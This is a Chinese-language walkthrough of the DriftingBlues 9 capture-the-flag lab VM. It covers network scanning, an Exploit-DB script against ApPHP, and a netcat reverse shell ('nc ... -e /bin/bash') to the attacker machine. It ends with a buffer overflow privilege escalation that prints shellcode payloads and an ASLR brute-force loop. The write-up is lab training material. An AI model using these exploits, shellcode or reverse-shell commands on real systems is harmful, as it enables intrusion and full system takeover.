Driftingblues 9

Driftingblues:9

一、基本信息

名称:DriftingBlues:9(final)

发布日期:2021.5.9

作者:tasiyanci

系列:DriftingBlues

推特:@tasiyanci

二、靶机简介

Flags:

root:/root/root.txt

难度:困难

三、文件信息

文件名:driftingblues9.ova

文件大小:738MB

下载地址:

MD5: DB7D1B48224F802666B07693ACD7CDB4

SHA1: CD8C690150B48AC4AB9E6A3D56A4F12F110C78C1

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(debain)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机driftingblues9和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现开放了80和111端口,访问主页查看源码,发现是一个ApPHP页面:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.120 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,发现好些目录,但也没有进一步有价值的信息:

1
gobuster dir -u http://192.168.56.120 -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

ApPHP漏洞利用

1.在主页面能够发现一个admin登录页面:

image-

2.因为源码提示了我们ApPHP的相关信息,我们可以去Exploit-db(https://www.exploit-db.com/exploits/33070)查找到相关漏洞利用:

image-

3.执行相关python程序,我们可以获得较基础的权限:

1
python 33070.py http://192.168.56.120

image-

初步提权

1.利用得到的用户我们可以查看/var/www/include/base.inc.php文件下,有clapton用户及其密码,其实上面程序已经爆出来了:

image-

2.此时我们要先想办法建立交互式shell,先在kali开启端口监听,再利用靶机端返回shell:

1
2
3
4
nc -lvnp 4444,kali开启端口监听
which nc,靶机返回shell
nc 192.168.56.102 4444 -e /bin/bash
python -c 'import pty;pty.spawn("/bin/bash");',kali再使用python建立交互式shell

image-

image-

3.现在我们可以先确认clapton用户的存在,再进行登录了:

1
cat /etc/passwd,确认存在clapton

image-

image-

缓冲区溢出利用

1.在clapton用户目录下,我们能发现第一个flag,user.txt,而另一个note.txt文件查看后是关于缓冲区溢出的提示:

image-

2.除了两个txt文本文件以外,还有一个input文件,这个文件用file命令查看后,明显是要对这个文件进行缓冲区溢出提权:

1
file input

image-

3.我们将input文件获取到本地,用checksec查看,该文件并没有启用任何保护措施:

1
2
3
python -m SimpleHTTPServer 8001,clapton开启http服务(尝试使用了python3 -m http.server 8001,发现靶机没有python3)
wget http://192.168.56.120:8001/input,kali获取input
checksec --file=input

image-

4.使用命令修改input文件所有者,并赋予程序特殊权限:

1
2
3
sudo chown 0:0 input
sudo chmod 4755 input
ls -l

image-

5.使用cyclic生成500个字符组成的字符串用于计算偏移量:

1
2
3
python3
from pwn import *
cyclic(500)

image-

6.然后关闭kali的ASLR,启动gdb调试input程序,将500个字符组成的字符串传入程序并运行后程序奔溃,EIP寄存器的值为“0x61617362”:

1
2
3
4
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
gdb input

r aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae

image-

7.再次利用cyclic计算偏移量得到171,那么payload构造为“171个A”+“jmp esp地址”+Shellcode:

1
cyclic_find(0x61617362)

image-

8.在kali使用edb-debugger,随便传入参数调试程序,运行程序后Ctrl+O寻找jmp esp指令地址:

image-

image-

9.选择r-x权限下的第一个jmp esp地址,写入payload,在kali上可以成功获得root权限:

1
./input `python -c "print 'A'*171+'\x70\xbe\xe0\xf7'+'\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'"`

image-

10.但同样的payload在clapton用户上并不能起效,原因是靶机开启了ASLR而我们无权限关闭,且靶机的偏移地址是jmp esp相对libc基址的偏移地址,kali下的libc.so.6文件与靶机不同;所以这里我们采用循环绕过ASLR:

1
2
3
4
gdb ./input,在clapton上测定偏移地址
run $(python -c 'print "A" * 171 + "B" * 5 + "\x90" * 2000'),在kali上我们已经测得程序溢出位置偏移量为171,clapton上也如此
x/s $esp,得到jmp esp相对libc基址的偏移地址
q y,退出gdb调试

image-

1
for i in {1..10000}; do (./input $(python -c 'print "A" * 171 + "\xe0\xd6\x9e\xbf" + "\x90" * 2000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80"')); done,循环绕过ASLR

image-

Flag获取

1.通过利用缓冲区溢出漏洞,我们成功提权到root,在/root目录下能够找到flag,即root.txt:

1
2
3
cd /root
ls -la
cat root.txt

image-